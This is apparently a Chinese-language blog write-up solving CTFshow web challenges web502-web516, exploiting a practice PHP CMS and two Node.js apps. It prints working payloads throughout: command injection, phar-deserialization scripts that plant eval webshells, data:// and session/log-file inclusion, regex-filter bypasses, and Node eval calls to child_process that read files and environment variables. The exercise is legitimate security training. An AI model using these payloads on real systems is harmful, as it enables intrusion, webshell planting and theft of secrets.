CTFSHOW 中期测评(二)web502 - web516

文章目录

题目列表

web502

先万能密码登录

打开数据库备份功能页面

打开网页源码,可以看到POST请求是发送到api/admin_db_backup.php

查看api/admin_db_backup.php源码,GET请求/index.php?action=../api/admin_db_backup

相比上题,这里的正则改成了preg_match('/^(zip|tar|sql)$/', $db_format),要求$db_format只能严格匹配 "zip"、"tar"、"sql" 这三个字符串,任何多余字符都不会通过,那我们换个方法,可以利用$pre进行变量覆盖然后分号截断执行命令

payload:

复制代码
db_format=zip&pre=1.txt;cat /f*>/var/www/html/1.txt;

最后访问/1.txt读取flag即可

web503

$pre$db_format被md5包裹了,无法利用了

然后上面可以看到有个file_exists函数,先记着,后面会用到

用万能密码登录首页后,在系统配置功能处可以看到有个图片上传功能

查看源码看到有个api/admin_upload.php,跟文件上传功能有关

我们看看源码,GET传参/index.php?action=../api/admin_upload,这里只截取关键代码

php 复制代码
if($user){
	$arr = $_FILES["file"];
	if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 )
	{
		$arr["tmp_name"];
		$filename = md5($arr['name']);
		$ext = pathinfo($arr['name'],PATHINFO_EXTENSION);
		if(!preg_match('/^php$/i', $ext)){
			$basename = "../img/".$filename.'.' . $ext;
			move_uploaded_file($arr["tmp_name"],$basename);
			$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
			$config['logo']=$filename.'.' . $ext;
			file_put_contents(__DIR__.'/../config/settings', serialize($config));
			$ret['msg']='文件上传成功';
		}

这里判断文件 MIME 类型是否是 JPEG 或 PNG,并且文件大小要小于10MB,且禁止扩展名为"php"的文件上传,然后对内容进行反序列化。结合前面/api/admin_db_backup.phpfile_exists函数,我们可以用phar反序列化来做

这里要用到之前题目讲的反序列化,具体可以参考web493,setStub那里要加个GIF89a来伪装图片

payload:

php 复制代码
<?php

class dbLog{
    public $sql;
    public $content = '<?php eval($_POST[1]);?>';
    public $log = '1.php';
}

$a = new dbLog();
$phar = new Phar('a.phar');
$phar -> startBuffering();
$phar -> addFromString('test.txt','test');
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
$phar -> setMetadata($a);
$phar -> stopBuffering();  

?>

运行后当前目录会生成一个a.phar文件,修改文件后缀名为png,然后上传到系统配置那里

右键图像复制图像链接,例如我这边是/img/32d3ca5e23f4ccf1e4c8660c40e75f33.png,接着我们要借用file_exists来触发phar反序列化,如图所示发包

复制代码
pre=phar:///var/www/html/img/32d3ca5e23f4ccf1e4c8660c40e75f33&db_format=.png

最后再蚁剑连接即可

根目录找到flag

web504

这次发现这里多了模板添加功能,但是查看不了源码

可以上传文件

参考我们之前做的web499,可以尝试写序列化代码到config/settings,等网页加载时会进行反序列化然后生成木马

payload:

php 复制代码
<?php

class dbLog{
    public $sql;
    public $content = '<?php eval($_POST[1]);?>';
    public $log = '2.php';
}

$a = new dbLog();
echo serialize($a);

?>

得到结果

复制代码
O:5:"dbLog":3:{s:3:"sql";N;s:7:"content";s:24:"<?php eval($_POST[1]);?>";s:3:"log";s:5:"2.php";}

然后进行上传,如图所示

这时点击系统配置功能处,可以看到内容已经写入,并覆盖了原来的内容

蚁剑连接2.php

根目录找到flag

web505

这次文件上传不了,应该是后端做了校验

但是发现多了一个文件查看功能,可以查看文件源码

我们看看api/admin_templates.php源码,可以看到把settings过滤了

在文件查看功能处查看源码,找到api/admin_file_view.php,我们看看源码

关键源码

php 复制代码
if($user){
	extract($_POST);
	if($debug==1 && preg_match('/^user/', file_get_contents($f))){
		include($f);
	}else{
		$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
	}
	$ret['msg']='查看成功';
	die(json_encode($ret));

可以看到当满足$debug==1$f以user开头,就用include进行文件包含。我们可以用data伪协议来做,然后发送内容到api/admin_file_view.php

payload:

复制代码
debug=1&f=data://text/plain,user<?php system('cat /f*');?>

结果如图所示

web506

这题的api/admin_file_view.php相比上题,多了一个判断文件名后缀的代码,取 $f 文件名的最后三个字符,如果扩展名是 phpsmlphar(不区分大小写),则直接返回提示、终止流程

不过不影响,我们用的是data伪协议,步骤跟上题一样

复制代码
debug=1&f=data://text/plain,user<?php system('cat /f*');?>

web507

api/admin_file_view.php没变,继续用上题方法

复制代码
debug=1&f=data://text/plain,user<?php system('cat /f*');?>

web508

这次把伪协议禁了,不能直接写伪协议,不过我们可以换个方法,用一个文件来当中转站执行命令

在系统配置那里可以看到有个网站Logo上传,可以用这个当中转站

随便上传一张图片,抓包,然后修改内容为user<?php system('cat /f*');?>,重新发包

然后回到网页,右键复制图像链接,发送POST请求到api/admin_file_view.php,如图所示

复制代码
debug=1&f=/var/www/html/img/4a47a0db6e60853dedfcfdf08a5ca249.png

web509

这次api/admin_upload.php会对文件内容进行校验

用短回显标签和反引号绕过即可

复制代码
user<?=`cat /f*`?>

右键复制图像链接,发送POST请求到api/admin_file_view.php

复制代码
debug=1&f=/var/www/html/img/4a47a0db6e60853dedfcfdf08a5ca249.png

web510

这次文件上传限制很严格,换个方法

通过分析,发现个人信息修改处存在漏洞

我们看看api/admin_edit.php对应的源码

回到个人信息处查看源码,显示昵称对应的就是nickname,那我们可以用session文件包含来做这题

看看对应的session文件,在cookie复制PHPSESSID的值,然后拼接访问,如图

刚好前面有个user,符合api/admin_file_view.php的要求,我们在名称修改处传入一句话木马,然后进行文件包含即可

剩余的步骤跟之前一样,发送POST请求到api/admin_file_view.php

复制代码
debug=1&f=/tmp/sess_k9u1ni1spqatv8uvt3acr416o6&1=system('cat /f*');

web511

这次把sess也过滤了

一个个分析其他代码,发现render/render_class.php有个eval函数

我们看看能不能利用,也是同一个文件,在上面可以看到shade函数调用了checkVar,然后render函数调用了shade

后面在index.php发现调用了render,GET传入?action=view&page=1即可,关键是$user如何控制,且要求是个数组

继续分析,发现api/admin_edit.php可以控制user数组,那我们只要nickname传入要执行的命令,然后修改前面的模板占位符为{``{var:nickname}}即可

修改nickname执行命令

然后打开新增模板功能,名称写1.sml,因为后面我们要GET传入?action=view&page=1,要跟page对应,然后内容写1{``{var:nickname}},用于模板渲染。

加个1是因为render/render_class.phpif(stripos($templateContent, '{``{var:'.$key.'}}')){这里有问题,如果是在开头匹配到的话会返回下标0,然后if(0)就不会进入语句块,也就无法执行eval,正确写法应该是

php 复制代码
if(stripos($templateContent, '{{var:'.$key.'}}') !== false){

回归正题,我们传入内容如图所示

然后访问index.php?action=view&page=1触发漏洞即可

web512

这次render/render_class.php$value过滤很严格,字符可以用字符串拼接绕过,然后因为括号()用不了,我们用include来包含文件,include是可以不用括号包裹直接用的

因为网站的php版本为5.6,且正则没有过滤花括号,可以用$_POST{1}来代替$_POST[1],旧版 PHP 允许使用花括号 {} 访问数组某个键,比如 $_POST{1},这是 PHP 早期版本的语法,但从 PHP 7.4 开始,花括号访问数组的语法被废弃并在 PHP 8.0 中移除

那我们要写入的命令为

php 复制代码
<?php include $_POST{1};?>

网上看别的师傅有一个很牛的方法,可以用heredoc语法来定义长字符串,它允许开发者定义多行字符串而不需要使用引号,也不用为引号、换行符等转义,非常方便地写包含多行HTML、SQL、代码片段等内容的字符串,格式为

复制代码
$变量名 = <<<标识符
多行字符串内容
标识符;

<<< 是heredoc开始的标记,后面跟一个自定义的标识符,直到文件中某一行独立写着完全相同的结束标识符就结束,结束标识符后必须加分号;结束

这里要用到之前的反序列化知识,具体可以回顾web493

payload:

复制代码
username=admin&nickname=1;
$a=<<<ctf
<?php includ
ctf;
$b=<<<ctf
e $
ctf;
$c=<<<ctf
_POS
ctf;
$d=<<<ctf
T{1};?>
ctf;
$n=<<<ctf
1.php
ctf;
$e=clone $db;
$e->log->log=$n;
$e->log->content=$a.$b.$c.$d;

POST发包到api/admin_edit.php

然后跟上题一样新增模板,模板在后端渲染后会生成1.php

复制代码
名称:1.sml
内容:1{{var:nickname}}

访问1.php,然后用data伪协议执行命令即可

复制代码
1=data://text/plain,<?php system('cat /f*');

web513

这次过滤更加严格了,那咱们换个方法

发现下面多了一个checkFoot函数,具体代码如下

php 复制代码
public static function checkFoot($templateContent){
	if ( stripos($templateContent, '{{cnzz}}')) {
		$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
		$foot = $config['cnzz'];
		if(is_file($foot)){
			$foot=file_get_contents($foot);
			include($foot);
		}
	
	}
	return $templateContent;
}

这里会读取config/settings的内容进行反序列化,根据前面的题目,对应的文件为api/admin_settings.php

也就是会把系统配置功能处的数据存入$config数组,然后$config['cnzz']对应的是页面统计

因为render/render_class.php有个$foot=file_get_contents($foot),然后再进行include操作,那我们可以在页面统计放入一个文件地址,然后这个文件的内容是另一个文件的地址,这样就可以进行文件包含

先写一个模板到templates目录下,内容为/var/log/nginx/access.log

然后页面统计写/var/www/html/templates/1.sml

接着写入模板2.sml,内容为1{``{cnzz}}

最后访问index.php?action=view&page=2,成功读取到/var/log/nginx/access.log内容

然后进行日志文件执行命令即可,UA头写入一句话木马,读取flag

web514

这次加了过滤,可以用data伪协议来做

我们传入data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B,但是如果直接传入是不行的,因为有过滤

preg_match的话我们可以用数组绕过 ,因为preg_match的第二个参数(待匹配内容)必须是字符串,如果传入的是数组,preg_match会返回false而不是报错,如图所示传入

验证一下,可以看到成功写入了

剩余的步骤跟上题一样,系统配置页面的页面统计写入地址/var/www/html/templates/1.sml,然后新增模板2.sml,内容1{``{cnzz}},最后访问index.php?action=view&page=2执行命令即可

web515

先看代码

javascript 复制代码
var express = require('express');
var _= require('lodash');
var router = express.Router();

/* GET users listing. */
router.get('/', function(req, res, next) {
  res.render('index', { title: '我是复读机' });
});

router.post('/',function(req,res,next){
	if(req.body.user!=null){
		msg = req.body.user;
		if((msg.match(/proto|process|require|exec|var|'|"|:|\[|\]|[0-9]/))!==null || msg.length>40){
		  	res.render('index', { title: '敏感信息不复读' });
		}else{
			res.render('index', { title: eval(msg) });
		}
	}else{
		res.render('index', { title: '我是复读机' });
	}
	 
});
module.exports = router;

之前做过类似的题,我们eval嵌套执行就好,GET传入

复制代码
index.php?a=require('child_process').spawnSync('cat',['/flag']).stdout.toString()

然后body传入

复制代码
user=eval(req.query.a)

web516

下载附件进行分析,其中关键代码为index.js里面的登录成功后显示处,会执行eval函数

但是app.js有限制

不能出现这些字符串,那我们用反引号拼接字符串就可以,还是用上题的代码,修改一下即可

payload:

复制代码
1)+eval((`req`+`uire('child_pro`+`cess').spawnSync('ls',['/']).stdout.toString()`)

先进行注册

再点击sign in登录

成功执行命令

同理,我们修改一下执行命令env,成功找到flag

复制代码
1)+eval((`req`+`uire('child_pro`+`cess').spawnSync('env').stdout.toString()`)
相关推荐
上海云盾安全满满3 小时前
游戏开发公司应该要注意哪些网络安全问题
网络·安全·web安全
alex1003 小时前
【一天一个Web3概念】深入解析Web3空投:类型、参与策略与安全指南
安全·web3·airdrop·空投
天天进步20153 小时前
React + TypeScript实战:类型安全的现代前端开发
安全·react.js·typescript
努力学习的小廉5 小时前
深入了解linux网络—— 网络编程基础
linux·网络·php
Q_Q5110082855 小时前
python+springboot+vue的旅游门票信息系统web
前端·spring boot·python·django·flask·node.js·php
Lz__Heng5 小时前
信息安全工程师考点-密码学
网络·安全·密码学
北极光SD-WAN组网5 小时前
某旅游学院网络安全项目:构建高效监控集中管理与巡检系统
安全·web安全·旅游
haveyb5 小时前
10分钟快速部署PHP+Nginx+MySQL+Redis开发环境
redis·mysql·nginx·docker·php
handsome123453 天前
exsi 6.7 打补丁
安全·升级·补丁·exsi·exsi6.7